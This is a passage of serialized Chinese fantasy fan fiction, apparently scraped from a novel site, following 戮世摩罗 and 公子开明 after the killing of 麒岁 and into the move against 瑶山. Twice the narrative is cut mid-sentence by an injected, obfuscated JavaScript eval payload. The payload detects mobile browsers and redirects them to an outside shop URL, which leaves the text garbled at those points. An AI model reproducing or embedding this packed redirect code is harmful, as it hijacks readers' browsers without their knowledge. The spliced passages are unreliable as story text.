就在两人说话之际,身后忽然响起一个熟悉的声音,“哎呀,策君,好久不见。” 公子开明闻声,急忙回头,接着就听见旁边的曼邪音低头行礼道,“帝尊。” 公子开明顺着声音抬头望去,只见祸雕振动着巨大的翅膀,带着戮世摩罗缓缓降落,落地时掀起了一阵尘土飞扬,待尘土散去,两人便稳稳地踏在了地面上。 当策君与帝尊的目光在空气中碰撞时,公子开明忽地将降妖宝杖单手别至身后,杀气瞬间四溢,仿佛随时都要挥杖向戮世摩罗打过去! 曼邪音似乎感受到了公子开明的杀气,她转头看了公子开明一眼,有些不明所以道,“策君?” 而戮世摩罗似乎根本不在意公子开明的杀意,语气轻快得如同林间的兔子,“哎呀,策君生气了。” “当——然!!!”公子开明一步跨到戮世摩罗面前,几乎是咆哮出声: “本策君现在十分生气特别生气超——级生气!你知不知道麒岁他想要砍我的头?!”公子开明夸张地做了一个砍头的动作: “砍!头!哎!本策君最值钱的就是这颗头了你知道吗!” “那策君不是好好地回来了吗?”戮世摩罗似乎并不认为这是什么大问题,“我就知道策君一定没问题的。” “你——这个死小孩!但凡有问题,修罗国度就会痛失一个特别重要十分重要无比重要的策君!”公子开明逼近戮世摩罗,挥舞着棍子大声喊道,“这种冒险的事情绝对不准有下次!听到没听到没听到没!” “知道了知道了知道了。”戮世摩罗捂住耳朵,同样重复了三遍回答,随后又问,“西王母印拿到了吗?” “拿到了!”公子开明用抗议般的声音喊道,“现在就给你!” 话音未落,他指尖闪起一点璀璨的金色光芒,伸手就要按到戮世摩罗的额头上。 戮世摩罗见状,急忙向后一闪,“先别急。” 公子开明疑惑地收回了手,“咦?”他不解地问道,“怎么了?” 戮世摩罗抬头望了望招摇关的高耸城墙,回答道,“当然是要先召集沉沦海的众臣,表彰一下策君的功绩啊。” 公子开明的表情像是听到了天方夜谭,“啊免免免,”他急忙挥了挥手,“以后别再给本策君惹麻烦就行。” 戮世摩罗笑了一声,转头看向祸雕,“西王母印给祸雕吧,让他带凤璇音出来。” 祸雕闻言,眼中闪过一丝惊讶,像是怀疑自己听错了,“帝尊……我吗?”他迟疑地指了指自己。 他刚刚才向帝尊提议杀掉凤璇音,现在帝尊却让他带回凤璇音?这究竟是何用意? “对,就是你。”戮世摩罗轻轻捋了一下额前的发丝,语气坚定地回道,“夜国公是不是这阵子也在沉沦海?我记得是在岐山关吧?你直接带着凤璇音去找夜国公,让她在岐山关那里寄住一段时间。” 祸雕满脸困惑,“帝尊……这是为何?” 戮世摩罗扬起声音,用玩笑般的语气回道,“因为岐山关离瑶山近啊。” 祸雕皱紧眉头,站在原地不明所以,过了好一会儿,才像是突然明白了什么似的,恍然大悟地“哦!”了一声,低头行礼道,“末将领命。” 公子开明得到命令后,便伸出手来,将西王母印转到了祸雕的身上。 “西王母印可以暂时下在别人身上,但不能离开对方。”公子开明耐心地对他解释道,“也就是说,你和凤璇音必须同时离开羽瑞寒魄宫。” “明白了。”祸雕回应道,“帝尊和策君放心吧。” 说罢,他将头顶的巨大翅膀张开,转身朝着羽瑞寒魄宫的方向迅速飞去了。 祸雕离开后,戮世摩罗便对曼邪音和公子开明道,“让魔兵去召集一下沉沦海众将吧。” 说罢,他迈开大步,径直朝城楼上方走去,步伐之快,甚至带起了一阵风。 曼邪音在原地静静站着,没有挪动半步。公子开明见她不动,便走上前,好奇地询问,“闼婆尊,怎么了?” 曼邪音回头看他,犹豫了片刻,开口询问,“策君,当初元邪皇之乱,我提前于你回魔世,你说会有人来帮我,你说的那个帮手,可是夜国公?” 公子开明似乎没想到曼邪音会突然问他这个,怔了一下,然后点头回道,“对没错就是如此~夜国公玉面文朗,还有槐江国三郡王鬼槐英招,他们两人应该都有帮助过你吧?” 曼邪音“哼”了一声,“夜国公确实有出手相助过,至于鬼槐英招,我也和你说过,我把他赶回去了。我们修罗国度的事,用不着他们闇盟插手。” “唉唉唉,我知道我清楚我了解。”公子开明扶着额头道,“闼婆尊你啊就是这样,我要是那时就动祸雕,恐怕你就不是赶回去那么简单,而是直接将人格杀当场了。 “祸雕也是策君让夜国公安插到麒岁身边的吗?”曼邪音询问。 “对没错就是本策君。”公子开明拍了拍心口解释道,“不过当时本策君还没想到怎么用。元邪皇之乱时你回魔世,夜国公本想调度祸雕,被我拦下了。这枚棋子太重要,不到一定要杀麒岁的时刻,不能用。” 曼邪音闻言,低头叹了口气,“果然,策君什么都算好了。” “那——当然,我可是修罗国度的策君哎!”公子开明蹦到她身前高声强调道。 曼邪音“嗯”了一声,随后指向招摇关的城墙,“上去吧。” 说完,她抬起脚步,也朝着城墙上方缓缓走去了。 —— 招摇关,议政厅。 戮世摩罗坐在最前面的座位上,左边依次站着网中人、曼邪音、赤甯朱厌和祸英白蜚,而右边则站着公子开明、苏容焉、木魅和小诚。 会议开始后,公子开明先是用一堆废话和毫无作用的肢体语言将围杀麒岁的行动全盘讲述了一遍。待他讲完后,每个人的脸上就只剩下了两种表情:要么是想自己死,要么是想要公子开明死。 但除了他和戮世摩罗,确实也没有第三个人能把此次计划讲明白了。在这个杀局里,除了操控全局的戮世摩罗和看破一切的公子开明,每个人拿到的都是一块拼图,大家一起把这块拼图拼起来,便成为了今日的这幅画面。 公子开明废话连篇地讲完故事后,戮世摩罗接上了他的话,声音在大厅之中回荡: “此次围杀凶岳疆朝四皇子,之所以能够成功,都要仰赖于大家的配合。无论是祸英白蜚陪本帝尊演的那出戏,还是网中人、曼邪音和雷月青夔、丹阑毕方的那场战争,以及策君身在凶岳疆朝时的审时度势,随机应变,这一切的一切,都离不开大家的彼此信任与默契。” 戮世摩罗一边说着,一边缓缓起身,向着台下众人微微低身: “大家辛苦了。” 座下一众魔将见状,也齐刷刷地向戮世摩罗行礼,声音整齐而洪亮:“帝尊。” 声音褪去后,戮世摩罗直起身,重新坐回椅子上,扫视着下方的众将: “现在我有一个问题,”他的声音打破了这短暂的沉默: “大家此时应该也了解此局是如何布下的了,我想问,你们觉得麒岁为何会输?” 台下众人听闻此言,面面相觑,静默的眼神交汇之中,流露出了许多无声的信息, 许久过后,曼邪音打破了沉默,抬头回答道: “因为他没想到,自己手下最信任的人,竟然是修罗国度派过去的间谍。” 曼邪音开头后,木魅也紧接着答道:“而且,他也没想到火凤郡主会背叛他。” 赤甯朱厌轻蔑地嗤笑,言语中透露出不屑:“这个麒岁也太弱了,但凡他能强一些,最后肯定就逃回瑶山了。” 祸英白蜚则有不同的见解:“他太急了,其实他只要一直等在凶犁魔都之中,麒染早晚会沉不住气的。” 苏容焉紧接着开口:“说到底,这个麒岁既不如我们帝尊聪明,又不如我们帝尊能打,是他自不量力了。” 小诚低着头,沉思片刻后,轻声回道:“他和应龙师一样恶事做尽,这是他咎由自取。” 众人纷纷表述完自己的看法,戮世摩罗认真听着,目光在众魔将之间游移。待到众人说完之后,戮世摩罗的目光便停在了一直沉默的网中人身上,询问道:“妖神将觉得呢?” 网中人看起来似乎并不打算回答戮世摩罗的问题,但见戮世摩罗一直盯着他,便“哼”了一声,语气不善地回道,“因为他的敌人,是修罗国度。” “哈。”戮世摩罗闻言,发出一声笑声,“像是妖神将会给出的答案。” 随后他又问公子开明,“策君是最后下杀手的魔,你觉得策君为什么会输呢?” 公子开明听见戮世摩罗问他,忽然像是回过神来了似的,双手举过头顶大声控诉道,“麒岁会输,那当然是一定是绝对是因为他要砍我的头!老天爷看不下去所以把他收掉了!” 他一边说着,一边装模作样地擦了擦并不存在的眼泪,“本策君真的好惨!” 戮世摩罗没有理会公子开明张牙舞爪的诡异说辞,继续询问,“我听说策君在凶犁魔都时,没有向麒岁提出半句建言,他一怒之下便将策君打入了大牢,是这么回事吗?” “对啊!”闻言,公子开明激动地跳了起来,脸上写满了委屈,“你也知道哦!害得我好惨!” 戮世摩罗轻轻捋了捋自己的发丝,语气淡然地道,“要我说,你就算向他提了建议也没用,因为他根本就不会信。” “咦?咦?咦?”公子开明歪了歪头,虽然心知戮世摩罗所言非虚,却依旧故意反驳,“你又知道了,你怎么知道他不会信?” 戮世摩罗盯着他,缓缓开口:“因为他比你自己更相信,你永远是修罗国度的策君。” 话音落下,大厅里突然陷入了一片深沉的寂静,仿佛连空气都凝固了。 公子开明难得没有顶嘴,只是探着头与戮世摩罗对视,像是等待着,看这个年轻帝尊接下来还有什么惊人的说辞。 片刻过后,戮世摩罗的声音再次打破宁静: “说起来,我刚来魔世不久,就听到了很多关于策君的传言,一说策君要投靠幽闇联盟,背弃修罗国度。二说策君心怀鬼胎,从未将壮大修罗国度放在心上。三说最离谱,说策君是佛国派来魔世的间谍,是为了覆灭魔世而存在……我不知道幽闇联盟听到这些流言会不会高兴,反正凶岳疆朝听到了,肯定会很高兴。” 座下一片寂静,无人出声。而当事人公子开明则是用一种夸张的表情表达出三个大字:“我好惨。” 戮世摩罗对他的眼神视若无睹,继续道:“我今天,不仅要让策君记住,他永远是修罗国度的策君,”他的视线逐一扫过在场的每一位魔将,沉声道:“我更要让你们所有人都记住,策君,永远都是修罗国度的策君。” “……” 一丝讶异闪过了公子开明的眼睛,他大概是完全没想到戮世摩罗竟然能说出这样一番话来,不停摇晃的簪子都随着他僵住的神情静止了。 那一瞬间,戮世摩罗在他的脑海里,竟然和很多很多前任的帝尊重叠了——这个一直被他当做小娃娃的帝尊,忽然之间,成了真正的鬼玺之主。 公子开明心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931193|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,这真是见了鬼了。 戮世摩罗挪开眼神,继续说道,“你们方才说的都对,但依我看来,麒岁最大的败因是,他的对手戮力同心,和衷共济,而他的手下则是各怀鬼胎,各行其是,这样的差距,才导致了他的失败。” “自我来到魔世之后,就不断有魔将之间发生冲突。修罗国度诸魔好战,魔将们因为能力的高低偶有摩擦,这都很正常。但你们要记住,当强敌来临时,无论你是谁,无论你有多大的能力,有多高的官职,此时就只剩下一个名字,那就是——修罗国度。” 戮世摩罗字字郑重,掷地有声: “这样的国度,才能做到真正的无坚不摧。” …… 一阵沉重的沉默之后,台下的众魔将弯腰行礼,声音坚定洪亮: “属下明白。” “你们明白就好。”戮世摩罗语气平静地回应。他环视了一圈,又缓缓开口,“现下凶岳疆朝的局势动荡不安,我们不能给他们任何喘息的机会,必须即刻出兵。” “攻打瑶山吗?”曼邪音还记得他们之前的战略计划。 “嗯。”戮世摩罗点头,紧接着便开始排兵布阵,“麒岁是瑶后的儿子,他的死必然会引起瑶山的动荡。距离瑶山最近的是岐山关。我与妖神将即刻动身前往,策君、木魅和小诚驻守招摇关,闼婆尊、赤甯朱厌和苏容焉随我同去。祸英白蜚马上赶回浮玉关,若需要你们出兵,我会立即发出黄符。” 众人齐声应道:“是,帝尊。” “好了,散会,各司其职吧。” 戮世摩罗说完,目光与网中人对视了一眼,随后大步流星地走下台阶,朝议政厅外走去了。 —— 散会之后,公子开明沿着城墙的阶梯匆匆而下,直朝堡垒的方向而去。但他刚走下楼梯,还没在平地上走几步,身后忽然响起一个声音叫住了他,“策君。” 公子开明听见声音回头,发现竟然是赤甯朱厌。 见是他,公子开明转过身来正对着他,脸上写着一丝疑惑,“咦?你找本策君有事?” 赤甯朱厌小心翼翼地向前迈了一步,脸上流露出一丝尴尬和为难: “那个……我找策君……是想……呃……” 他吞吞吐吐,犹豫不决,许久之后,才像是终于鼓足了勇气,深吸一口气,紧闭双眼地道: “我是想对策君说一句,对不住。” “……啊?” 公子开明愣在当场,片刻的僵硬之后,他突然向前一步,几乎与赤甯朱厌面对面,眼神像是看到太阳从西边升起,“等下,你是赤甯朱厌吧?” 赤甯朱厌神色愧疚,原本就呈红色的皮肤如今更似被火烧了一般,“我不奢求策君能原谅我,我只想让策君知道,我已经意识到之前所做的事情错得有多离谱。今后我也会弥补我之前犯下的过错,也不会像以前那样,再把策君当做假想敌了。” 公子开明后退一步,反应了好一会儿,才轻轻摇了摇头,语气中带着一丝无奈和感慨: “唉,本策君知道让你认个错有多难,所以你一句‘对不住’出了口,我倒也没什么理由责怪你了。做好自己该做的事情,安分守己恪守本分,帝尊的眼里有你们每一个人。” “嗯。”赤甯朱厌认真地点了点头,“是,朱厌受教了,感谢策君。” “没——什么事就赶快去做准备吧。”公子开明的声音转眼间又恢复了轻快,“瑶山重将虽然不多,但瑶后豹青是西王母一族的后人,实力甚至不在应龙师之下,瑶山又地势险峻,想来也是一场恶战,你——们可一定要保护帝尊的安全!” “是。”赤甯朱厌肃然回应,“末将必誓死保护帝尊的周全。” 说完,他向公子开明一抱拳,转身大步流星地离开了。 公子开明站在原地目送赤甯朱厌离开,心下疑惑,戮世摩罗是给这只赤猴下药了?怎么自己去凶岳疆朝溜达了一圈回来,赤猴就像换血了似的。赤甯朱厌给自己道歉?他都要怀疑自己在做梦了。 公子开明一边琢磨着,一边缓缓转身,却不想一回头,就看见戮世摩罗像只大布偶一样突然出现在了自己的身后。 公子开明吓了一跳,兔子一样地蹦开了数步,脱口而出,“哪里来的熊孩子吓死本策君了!” 戮世摩罗站在原地纹丝不动,神色平静,“以下犯上,出言不逊,该罚。” “饶了我吧饶了我吧。”公子开明抱着脑袋,连连摇头,随后又小心翼翼地抬起眼睛,询问道,帝——尊找我有事?” “想问你件事情。”戮世摩罗说道。 公子开明歪了歪头,“啊?什么事情啊?” 戮世摩罗用听不出语气的声音询问道,“麒岁离开凤鸣山时,他有两条退路,一条是通往瑶山,一条是通往凶犁魔都。而策君只守在了凶犁魔都那条路上,瑶山那条路,无人把守吧?” 公子开明先是一怔,随后踉跄后退几步,语气痛苦道,“哎呀,哎呀呀呀,竟然被……帝尊看出来了……” “怎么,”戮世摩罗像是打听八卦一样地问道,“他若选择投奔瑶后,策君就打算放过他?” 公子开明直起身子,语气忽高忽低地道,“就——算他逃去了瑶山又怎样,帝尊还不是会在瑶山之中把他打死。”他一边说着,一边还做了一个砍头的动作。 戮世摩罗十分直白地道,“策君就算直说你想留下他牵制我,我也不会怪罪的。” 公子开明双眸一动,刚想开口,戮世摩罗又接着道,“毕竟,你心里其实也很肯定,他大概率不会回瑶山。若他回了瑶山,倒是你我看走了眼。” 公子开明沉默了两三秒,忽然神色一正,用难得正经的语气对戮世摩罗道,“其实,在凶犁魔都时,我曾建议麒岁叛离凶岳疆朝,来修罗国度。” 戮世摩罗微微扬了扬眉,语气中透露出一丝惋惜,“听你所讲,麒岁的术法天赋直逼应龙师,他不来,倒是可惜了。” 顿了顿,忽然突发奇想一般地问,“麒岁若是来修罗国度与我争鬼玺,策君会帮着谁?” 公子开明想也不想地就答道,“这还用说,当然是帮着帝尊啦!我还不想被妖神将打死!” “哈。”戮世摩罗笑了一声,“那我真是承蒙策君厚爱了。” 说罢,迈出步子,绕过公子开明,朝反方向走过去了。 但他还没走出去三步,公子开明的声音忽然从后面响起: “麒岁能做到的事,你也都能做到。” “而且,你会做得比他更好。” 他的语气依旧跳脱,但尾音却降了下来,增加了一点话语的可信性。 戮世摩罗停下脚步,回头望来,两双眼睛在沉沦海边幽幽的雾气中对视,风吹白色的沙尘,将一切都染上了一层朦朦胧胧看不真切的雪色。 对视许久之后,戮世摩罗开口:“策君就这么相信我。” 公子开明歪着头,扬声道,“帝尊不也是同样相信我。” 戮世摩罗笑了一声,“好吧,那策君可以拭目以待了。” 公子开明直起身子,正色道,“瑶山之战,我能想到的策略和准备,都已经写好交给闼婆尊了,”他一边说着一边用手掌划过自己的眼睛,“帝尊啊,你可要千万要好好活着,不然人家会说本策君看走了眼。” 戮世摩罗回道,“承策君吉言,我一定凯旋而归。” 戮世摩罗说完这句话后,公子开明看到网中人从他身后走了过来,便挥了挥手道,“哎呀不说了,我先溜了,有事直接让祸雕带消息来招摇关就好。” 说罢,他就匆忙转身,大步流星地离开了。 目送策君的身影消失后,戮世摩罗缓缓转过头,上下打量了一下旁边的网中人,语气略带调侃地问,“妖神将有这么可怕吗?” 网中人冷声问,“你是嫌我对你太温和了?” 戮世摩罗叹息,语气无奈,“妖神将,你扭曲人话中之意的本事见长。” 网中人的声音依旧像是掺了冰块一样,“话说得慷慨激昂,真能立下战功才能让众人真正心服口服。” 戮世摩罗笑了一声,“那就要请妖神将多多关照了。” 网中人“哼”了一声,虽然眼睛藏在面具下看不见,但戮世摩罗猜他肯定翻了个白眼。 短暂沉默之后,网中人的声音再次响起,“当日你说要一石三鸟,这就是你打下的第三只鸟吗?” 戮世摩罗挑了挑眉,“怎么样,我准头有够吗?” 网中人冷声评价道,“一般。” 戮世摩罗倒也不在意网中人口是心非的回答,大笑一声,轻快着声音道,“论武力,那自然是不能和妖神将相比了。” 说罢,他单手背在身后,迈着步子向前走去了。 —未完待续— 26.复仇(1) 【26】 祸雕本以为凤璇音在羽瑞寒魄宫中被囚禁了这么多年,离开此地时一定会情绪激动,至少也会发出一声重获自由的感慨。然而出乎他意料的是,当凤璇音静静地跟在他身后步出宫门时,她的表情平静无波,既无喜悦之情,也无悲伤之态,眼神中看不到一丝波澜。 祸雕见她就这么神色平静地走出来了,心中不禁泛起了一丝困惑。 凤璇音察觉到祸雕的目光,轻轻转过头,对他露出了一个没什么感情的笑:你觉得我应该很开心?” 祸雕被她道破心中所想,不由得一僵:“末将只是奉命来接应郡主,不敢有过多的揣测。” “你在想什么,我无法左右。”凤璇音目光转向远方,凝视着远方的沉沦海,语气幽幽地道,“其实我并不是一直被关在这里,很久以前我是自由的,所以也并非对外面的世界一无所知。” 祸雕低了低身子,没有回应,只是默默地张开自己头顶的翅膀,向凤璇音伸出胳膊,“郡主,抓好我的胳膊,我带你飞去岐山关。” 凤璇音询问,“不是去招摇关?” 祸雕回道,“帝尊说了,岐山关离瑶山近。” 凤璇音明白过来,了然地笑了一声,道,“你们帝尊果然言而有信。”说罢,抬手扶住了祸雕的胳膊,“我还向你们帝尊要了一样东西,也带去岐山关了吗?” 祸雕一边振翅起飞一边回应,“应当是已经送到岐山关了。” “好。”凤璇音点点头,“有劳你们了。” 祸雕带着凤璇音穿梭在夜空中,沉沦海上空的血色雾气如同诡异的幽灵。冷月高悬,洒下清冷的光辉,照在幽黒一片的海面上,仿佛撒上了一层银白的霜。 祸雕带着凤璇音飞了没一会儿,忽然看到血雾之中出现了许多黑色的影子,如同飘荡着的幽灵一般,飘忽不定地朝两人飞了过来。 “嗯?那是什么?” 祸雕凝神看去,随即发现,那些靠近的影子竟是一些游荡而来的影魔! 只见它们手中拿着锋利的武器,正杀气腾腾地穿过血雾,气势汹汹的朝祸雕和凤璇音杀了过来! 凤璇音见状,抓着祸雕胳膊的手一紧,“是瑶后派来杀我的。” 祸雕闻言,不解地反问,“瑶后?瑶后为什么要杀你?” 在凶岳疆朝潜伏的这几年,祸雕虽未见过瑶后,但据他所知,瑶后对凤璇音颇为关照,时常派人送物至羽瑞寒魄宫。如今凤璇音刚刚获得自由,瑶后为何急于置她于死地?难不成瑶后已经推断出麒岁的死与凤璇音有关了? 凤璇音没有回答他的问题,只是眼神冰冷地看着前方。转眼间,那些影魔就已经将两人包围起来了。 击退影魔对祸雕来说并不难,但此时此刻最大的困难来源于,他要一边保护凤璇音的安全,一边抵挡这些影魔。而且对面影魔的数量一直在不断地增加,似乎目的就是为了把祸雕耗死在这里。 祸雕一手扶住凤璇音,另只手挥舞斧子向前杀去。影魔如同一团团黑雾,隐匿沉沦海上空的一片血色之中。 忽然,凤璇音喊了一声,“当心!” 声音出口的瞬间,祸雕便感到一股凌厉的杀气从背后袭来,他猛地回头,只见一只影魔已悄无声息地绕至他的身后,举起锋利的利爪,狠狠地向他刺来! 祸雕迅速转身,用翅膀猛地将影魔拍飞,同时手中斧子一挥,将另一个试图趁机攻击凤璇音的影魔一分为二,血雾中瞬间弥漫起一股腥臭的气息。 祸雕一招解决了两个敌人,却忽视了另一个方向的危险。只听“嘶啦”一声,一只狡猾的影魔在他的背后划出了几道深可见骨的伤口,鲜血顿时染红了祸雕的衣袍。 凤璇音见祸雕为了保护她而束手束脚,便道:“不要和它们纠缠,不必顾虑我是否受伤,直接冲出去!” 祸雕的动作微微一顿,似乎在犹豫。 凤璇音见他不动,便再次催促:“快走!” 祸雕环顾四周,见影魔一圈一圈地围上来,密密麻麻如同蝗虫,便心知凤璇音说的是对的,想要毫发无伤地突围是不可能的。 于是他对凤璇音嘱咐道:“抓紧我!”而后长斧一挥,带着一股狂风,猛地朝前冲去。 斧子带起的魔气在血雾中翻滚,将迎面而来的影魔击退,偶尔有三四个不畏死的影魔抓伤两人,祸雕除了刻意避开要害之外,不做过多抵抗,只是一心向前冲。 他抓着凤璇音,如同箭矢一般,风驰电掣地穿过层层血雾和影魔的包围,惊起一片影魔的惨叫声中。 也不知这样疯狂地砍杀多久,当祸雕带着一身血腥猛然回神时,发现自己已经飞到岐山关的上空了。 他回头望去,只见那些影魔并未再追来,他们已经进入了修罗国度的领地,安全了。 祸雕松了一口气,急忙低头查看身边的凤璇音:“郡主?你还好吗?” 只见凤璇音低垂着头,没有回应,脸色在月光下显得异常苍白。 祸雕见她沉默不语,心中一沉,又问:“郡主?你……” 话未说完,凤璇音忽然身体前倾,差点从祸雕的手中滑落,朝下方坠落。 祸雕大惊失色,慌忙扶住她,低头查看她的伤势。只见凤璇音一手紧紧捂住自己的腹部,指缝间不断有鲜血渗出,猩红的血液滴落在她苍白的手指上,如同生命在一点一滴地流逝。 祸雕猛然反应过来,这一定是刚才突围的时候被影魔伤到了。 见此伤势,需得立刻止血,不然恐怕有性命之忧。这么想着,祸雕就要带着凤璇音向下飞去,结果还没冲出去,就听见旁边传来一个声音,“祸雕?你回来了?” 祸雕回头一看,只见一位赤发青衣,背生白色羽翼的魔将正朝他们飞来,手中握着一根赤色的长针,正是岐山关的守关大将蜂罚钦原。 祸雕看见他,急忙飞过去,心急火燎地道,“蜂罚钦原,你在这里真是太好了,”他一边说着一边指了指几乎要失去意识的凤璇音,“火凤郡主受了重伤,你快带我们回岐山关,看有没有大夫能医治她。” 蜂罚钦原飞上前,查看了一下凤璇音的状况,紧皱眉头道,“幸好夜国公让我提前来接应你们,她的伤势确实不轻,你们快随我来。” 他一边说着,一边调转方向向下飞去:“军中没有军医,但有一些能暂时止血止痛的药物。苏大夫应该很快就会抵达岐山关,应该能及时救治她。 “好!”祸雕点点头,立刻跟随蜂罚钦原朝岐山关飞去了。 蜂罚钦原带领他们落在堡垒前的城墙上,落地后,祸雕刚准备带着凤璇音进入堡垒,却听凤璇音忽然用虚弱的声音说:“等一下。” 祸雕和蜂罚钦原同时看向她,眼神中充满惊讶。 “怎么了?”祸雕半疑惑半惊异地问,他没想到凤璇音竟然还有力气说话。 凤璇音因为失血唇色苍白,但她仍是强撑着意识问道,“你们帝尊,应该有送东西来岐山关吧?” 蜂罚钦原闻言,微怔了一下,点了点头,“是的。 ” 凤璇音在祸雕的扶持下努力直起身子,鲜血如同细小的溪流一般,顺着她的手指缓缓流淌,染红了她的衣摆,但她似乎对此并不在意,语气平静地说:“我现在需要去处理一下那样东西。” “我觉得你现在最需要的是处理伤口。”蜂罚钦原提醒她。 “没事,这点伤又死不了人,”凤璇音语气平淡地回应,仿佛根本没有把自己的伤势放在心上,“带我去拿那样东西,我想你们也不希望那东西在岐山关逗留太久吧。” 祸雕和蜂罚钦原交换了一下眼神,斟酌片刻后,蜂罚钦原做出了决定,“祸雕,止血的药材都在百药阁,你去那里取药,我带郡主去羽会楼。” 说着,他走上前,从祸雕手中小心翼翼地接过凤璇音,“你快去快回。” 祸雕又担忧地看了一眼凤璇音,最后点了点头,应了一声:“嗯,你照顾好她。” 随后,他便转身迅速地消失在夜色中,朝着百药阁的方向飞去了。 —— 第二天一早,戮世摩罗等人就抵达了岐山关。 出来迎接他们的是蜂罚钦原,他身着战甲,背上背着一根闪着血色的赤色长针,一边引领着众人穿过城墙与堡垒,一边向他们详细说明当前的情况。 “夜国公两日前返回夜郎国处理紧急事务,恐怕要过几日才能回来。祸雕和火凤郡主昨日刚抵达岐山关,但火凤郡主在沉沦海上方的战斗中受了重伤,目前仍然昏迷不醒。” 戮世摩罗闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958419|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言皱眉,“受伤了?”他询问道,“有大夫为她医治吗?” 蜂罚钦原回答道:“目前有军中一些略懂医术的魔将为她止血疗伤,但她的具体情况还需要等待苏大夫来才能做出判断。” 戮世摩罗回头指了指苏容焉,“苏大夫这不就来了吗,直接带我们过去就好。” 蜂罚钦原看了一眼戮世摩罗身后浩浩荡荡的队伍,犹豫了一下,问道:“帝尊,你们都要过去吗?” 戮世摩罗扫了一眼跟随自己的众人,思索了一下,而后下令:“蜂罚钦原,你去找几个魔兵带路,先将闼婆尊和赤甯朱厌安置妥当。妖神将和苏大夫随我一同前往。” “是,帝尊。”蜂罚钦原应声而去,迅速找到了几名魔兵,布置了任务。 一切安排妥当后,蜂罚钦原便带着戮世摩罗、网中人和苏容焉来到了凤璇音所在的羽会楼。 楼内光线昏暗,气氛凝重,凤璇音躺在里间的床榻上,苏容焉进了里屋为她诊断,而其他人则留在主厅中等待。 主厅中,蜂罚钦原向众人简单解释了昨日的遭遇:“祸雕告诉我,他们在沉沦海上方遭遇了瑶后派出的影魔袭击,但他并不清楚瑶后为何要对他们下手。” 戮世摩罗一边回忆着一边道:“我之前听凤璇音提起过,她与瑶后之间有些私人恩怨。攻打瑶山也是本帝尊对她的承诺。只是没想到她刚一出羽瑞寒魄宫,竟然就被瑶后的人马所伤。” 网中人插言问道,“她一点自保能力都没有吗?” 蜂罚钦原摇了摇头,“这个我也不清楚,但据祸雕所说,从始至终他都没有看到凤璇音使用任何招式来保护自己。恐怕也正是因为如此,她才会被影魔这种低级的魔族偷袭吧。” 网中人沉声道,“没有自保能力的魔,麻烦。” 戮世摩罗转头看网中人,调侃道,“凤璇音是应龙师的女儿,即使不会任何自保的招式,但功体内力应该不会差,不如等她醒了以后让她拜你为师,给我培养一个魔之左手。” “哼。”网中人单手背后,“吾没有那么多时间。” 戮世摩罗一副看热闹不嫌事大的样子,“连个徒弟也没时间收?” “……”网中人转过头看他,半张脸上明晃晃地写着四个大字:“给我闭嘴”。 两人正交谈之际,旁边的帘子忽地被掀开了。众人听见声音看过去,见苏容焉缓缓从里间走了出来。 只见他脸上带着一抹凝重之色,眼神扫过在场的每一个人,嘴唇微动,似乎想要说些什么,但最终只是沉重地叹了口气,沉默不语。 “……” 这突如其来的沉默让气氛变得异常诡异,仿佛连空气都凝固了。 戮世摩罗盯着苏容焉看了几秒,最终打破了这份死寂,“苏大夫,你这样的表情,会让我们以为火凤郡主死了。” 苏大夫闻言,连忙摇头否认,“倒没死。” “那她现在情况怎么样?”蜂罚钦原询问道。 苏大夫叹了口气道,“帝尊放心,火凤郡主目前情况良好,伤口处理得很及时,也威胁不到性命,只是……” 蜂罚钦原问,“只是怎么了?” 苏大夫抓了抓头发,似是遇到了什么很棘手的难题,“末医在检查郡主的伤口时,发现那伤口是被影魔的利爪所刺穿。但按理说,以我们魔族的身法和功体,躲避这样的攻击应当不在话下。因此,我探查了一下郡主的功体,发现她的功体竟然已经彻底被摧毁,要破坏到这样的程度,至少需要被毁坏两次以上。” “彻底被摧毁?”戮世摩罗重复,“两次都是人为?” “目前看来是的。”苏容焉点了点头,“而且火凤郡主原先的功体应该是不弱的,不然功体被毁坏至如此程度,按理来说是活不下去的。” 戮世摩罗和网中人互相对视一眼,眼里闪过一丝意外。 戮世摩罗收回眼神,低声猜测道,“难道是瑶后将她的功体彻底摧毁?” 苏容焉略带疑惑地问,“瑶后?为何会是她?” 戮世摩罗转头看他,“无事。”随后又对蜂罚钦原道,“找一个女魔照顾一下火凤郡主,她醒来了和我说一下,”他的神色是难得出现在他脸上的严肃,“我有事要问她。” —未完待续— 27.复仇(2) 【27】 凤璇音是第二天下午恢复意识的。 她醒来时,发现屋内除了她,就只有一位雪色长发、红色皮肤的女魔守着她。那女魔坐在雕花木桌边,一手托着沉重的额头,看起来疲惫不堪,仿佛随时都会栽倒在地。 凤璇音盯着那女魔,艰难地坐起身,而后伸出手去,轻轻敲了一下身旁的木质围栏,发出“噔”的一声轻响。 那女魔被这突如其来的声响惊醒,瞬间挺直了脊背,睁开了眼睛。她定睛一看,发现凤璇音已经醒来,便急匆匆地站起身,略有些惊慌失措地道,“郡主醒了。” 凤璇音眼神中带着一丝警惕,“你是谁?” 那女魔深深低头,语带惧意,“回郡主,我叫文鳐,家住在岐山关附近。郡主受重伤,军中无人能照顾郡主,钦原将军便将我雇来了。” 原来是个平民……凤璇音放松了些警惕,轻轻地“哦”了一声,压了压手掌示意文鳐不必害怕,可以坐下了。 “这里是岐山关吗?”凤璇音又问道。 